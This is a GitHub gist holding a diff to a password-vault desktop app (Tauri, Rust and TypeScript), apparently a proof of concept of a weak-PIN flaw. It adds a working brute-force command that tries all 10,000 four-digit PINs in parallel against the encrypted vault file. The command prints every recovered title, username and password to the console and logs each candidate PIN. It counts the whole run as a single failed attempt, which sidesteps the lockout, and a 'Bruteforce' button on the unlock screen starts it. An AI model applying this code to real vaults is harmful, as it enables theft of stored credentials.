Created
April 25, 2026 08:55
-
-
Save frozolotl/66c32ccbd4106cf0f130006128a11a98 to your computer and use it in GitHub Desktop.
pskey brute force
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| diff --git a/src/App.tsx b/src/App.tsx | |
| index 981ba252fa..89fe3486c3 100644 | |
| --- a/src/App.tsx | |
| +++ b/src/App.tsx | |
| @@ -351,6 +351,36 @@ | |
| setPhase("locked"); | |
| }, []); | |
| + const doBruteforce = useCallback(() => { | |
| + setUnlockStatus("busy"); | |
| + setBusyPhrase("brute forcing"); | |
| + invoke<UnlockResult>("vault_bruteforce") | |
| + .then((r) => { | |
| + setUnlockStatus("valid"); | |
| + setBusyPhrase(null); | |
| + window.setTimeout(() => { | |
| + setToken(r.token); | |
| + setEntries(r.entries); | |
| + setExpiresAt(Date.now() + r.expires_in_ms); | |
| + setUnlockPin(""); | |
| + setUnlockStatus(null); | |
| + setUnlockError(null); | |
| + setPhase("unlocked"); | |
| + }, 200); | |
| + refreshLockout(); | |
| + }) | |
| + .catch((e) => { | |
| + setUnlockStatus("invalid"); | |
| + setBusyPhrase(null); | |
| + setUnlockError(String(e)); | |
| + window.setTimeout(() => { | |
| + setUnlockPin(""); | |
| + setUnlockStatus(null); | |
| + }, 600); | |
| + refreshLockout(); | |
| + }); | |
| + }, []); | |
| + | |
| useEffect(() => { | |
| invoke<boolean>("vault_exists") | |
| .then((exists) => setPhase(exists ? "locked" : "setup")) | |
| @@ -769,6 +799,9 @@ | |
| const attemptsLeft = Math.max(0, attemptThreshold - failedAttempts); | |
| return ( | |
| <div className="px-2.5 py-3 flex flex-col items-center gap-1.5"> | |
| + <Button onClick={doBruteforce} title="Bruteforce"> | |
| + Bruteforce | |
| + </Button> | |
| <span className="text-[10px] font-semibold text-muted-foreground tracking-wider uppercase"> | |
| {isLocked ? "Locked Out" : "Unlock"} | |
| </span> | |
| diff --git a/src-tauri/Cargo.lock b/src-tauri/Cargo.lock | |
| index d52ad69383..3c22aad319 100644 | |
| --- a/src-tauri/Cargo.lock | |
| +++ b/src-tauri/Cargo.lock | |
| @@ -617,6 +617,25 @@ | |
| ] | |
| [[package]] | |
| +name = "crossbeam-deque" | |
| +version = "0.8.6" | |
| +source = "registry+https://github.com/rust-lang/crates.io-index" | |
| +checksum = "9dd111b7b7f7d55b72c0a6ae361660ee5853c9af73f70c3c2ef6858b950e2e51" | |
| +dependencies = [ | |
| + "crossbeam-epoch", | |
| + "crossbeam-utils", | |
| +] | |
| + | |
| +[[package]] | |
| +name = "crossbeam-epoch" | |
| +version = "0.9.18" | |
| +source = "registry+https://github.com/rust-lang/crates.io-index" | |
| +checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" | |
| +dependencies = [ | |
| + "crossbeam-utils", | |
| +] | |
| + | |
| +[[package]] | |
| name = "crossbeam-utils" | |
| version = "0.8.21" | |
| source = "registry+https://github.com/rust-lang/crates.io-index" | |
| @@ -948,6 +967,12 @@ | |
| checksum = "d0881ea181b1df73ff77ffaaf9c7544ecc11e82fba9b5f27b262a3c73a332555" | |
| [[package]] | |
| +name = "either" | |
| +version = "1.15.0" | |
| +source = "registry+https://github.com/rust-lang/crates.io-index" | |
| +checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" | |
| + | |
| +[[package]] | |
| name = "embed-resource" | |
| version = "3.0.8" | |
| source = "registry+https://github.com/rust-lang/crates.io-index" | |
| @@ -3059,6 +3084,7 @@ | |
| "dryoc", | |
| "parking_lot", | |
| "rand 0.8.6", | |
| + "rayon", | |
| "rmp-serde", | |
| "secrecy", | |
| "serde", | |
| @@ -3212,6 +3238,26 @@ | |
| checksum = "20675572f6f24e9e76ef639bc5552774ed45f1c30e2951e1e99c59888861c539" | |
| [[package]] | |
| +name = "rayon" | |
| +version = "1.12.0" | |
| +source = "registry+https://github.com/rust-lang/crates.io-index" | |
| +checksum = "fb39b166781f92d482534ef4b4b1b2568f42613b53e5b6c160e24cfbfa30926d" | |
| +dependencies = [ | |
| + "either", | |
| + "rayon-core", | |
| +] | |
| + | |
| +[[package]] | |
| +name = "rayon-core" | |
| +version = "1.13.0" | |
| +source = "registry+https://github.com/rust-lang/crates.io-index" | |
| +checksum = "22e18b0f0062d30d4230b2e85ff77fdfe4326feb054b9783a3460d8435c8ab91" | |
| +dependencies = [ | |
| + "crossbeam-deque", | |
| + "crossbeam-utils", | |
| +] | |
| + | |
| +[[package]] | |
| name = "redox_syscall" | |
| version = "0.5.18" | |
| source = "registry+https://github.com/rust-lang/crates.io-index" | |
| diff --git a/src-tauri/Cargo.toml b/src-tauri/Cargo.toml | |
| index 9017f45a41..08cabd082b 100644 | |
| --- a/src-tauri/Cargo.toml | |
| +++ b/src-tauri/Cargo.toml | |
| @@ -34,4 +34,5 @@ | |
| thiserror = "2" | |
| parking_lot = "0.12" | |
| rand = "0.8" | |
| +rayon = "1.12.0" | |
| diff --git a/src-tauri/src/commands.rs b/src-tauri/src/commands.rs | |
| index 33f45c1ad0..e0836c9ac5 100644 | |
| --- a/src-tauri/src/commands.rs | |
| +++ b/src-tauri/src/commands.rs | |
| @@ -9,7 +9,8 @@ | |
| use dryoc::classic::crypto_secretbox::Key as SbKey; | |
| use dryoc::rng::copy_randombytes; | |
| use parking_lot::Mutex; | |
| -use secrecy::SecretString; | |
| +use rayon::prelude::*; | |
| +use secrecy::{ExposeSecret, SecretString}; | |
| use serde::{Deserialize, Serialize}; | |
| use std::path::PathBuf; | |
| use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH}; | |
| @@ -822,3 +823,64 @@ | |
| persist_lockout(&state, &snap); | |
| Ok(result) | |
| } | |
| + | |
| +#[tauri::command] | |
| +pub async fn vault_bruteforce(state: State<'_, AppState>) -> Result<UnlockResult, String> { | |
| + dbg!("bruteforce"); | |
| + { | |
| + let inner = state.inner.lock(); | |
| + check_lockout(&inner)?; | |
| + } | |
| + if !state.vault_file.exists() { | |
| + return Err("vault does not exist".into()); | |
| + } | |
| + let bytes = read_all(&state.vault_file).map_err(|e| e.to_string())?; | |
| + | |
| + let found: Option<(VaultHeader, SbKey, VaultData)> = | |
| + (0..10000).into_par_iter().find_map_any(|n| { | |
| + let mut pin = [0u8; 4]; | |
| + pin[0] = b'0' + (n % 10) as u8; | |
| + pin[1] = b'0' + ((n / 10) % 10) as u8; | |
| + pin[2] = b'0' + ((n / 100) % 10) as u8; | |
| + pin[3] = b'0' + ((n / 1000) % 10) as u8; | |
| + | |
| + let secret = SecretString::from(str::from_utf8(&pin).unwrap()); | |
| + dbg!(&secret.expose_secret()); | |
| + decrypt_from_bytes(&bytes, &secret).ok() | |
| + }); | |
| + | |
| + if let Some((header, key, data)) = found { | |
| + for entry in &data.entries { | |
| + println!("{}: {}, {}", entry.title, entry.username, entry.password); | |
| + } | |
| + let session = Session { | |
| + token: make_token(), | |
| + key, | |
| + header, | |
| + data, | |
| + expires_at: Instant::now() + Duration::from_secs(SESSION_TTL_SECS), | |
| + }; | |
| + let result = unlock_result_from(&session); | |
| + let mut inner = state.inner.lock(); | |
| + inner.session = Some(session); | |
| + inner.lockout.record_success(); | |
| + let snap = inner.lockout.clone(); | |
| + drop(inner); | |
| + persist_lockout(&state, &snap); | |
| + return Ok(result); | |
| + } | |
| + | |
| + let mut inner = state.inner.lock(); | |
| + let triggered = inner.lockout.record_failure(); | |
| + let snap = inner.lockout.clone(); | |
| + drop(inner); | |
| + persist_lockout(&state, &snap); | |
| + if let Some(secs) = triggered { | |
| + Err(format!( | |
| + "too many attempts; locked for {}", | |
| + lockout::format_wait(secs) | |
| + )) | |
| + } else { | |
| + Err("invalid pin".into()) | |
| + } | |
| +} | |
| diff --git a/src-tauri/src/lib.rs b/src-tauri/src/lib.rs | |
| index 2b2c1f44b0..c89c4be625 100644 | |
| --- a/src-tauri/src/lib.rs | |
| +++ b/src-tauri/src/lib.rs | |
| @@ -147,6 +147,7 @@ | |
| commands::vault_init, | |
| commands::vault_unlock, | |
| commands::vault_unlock_challenge, | |
| + commands::vault_bruteforce, | |
| commands::vault_lock, | |
| commands::session_touch, | |
| commands::list_entries, |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment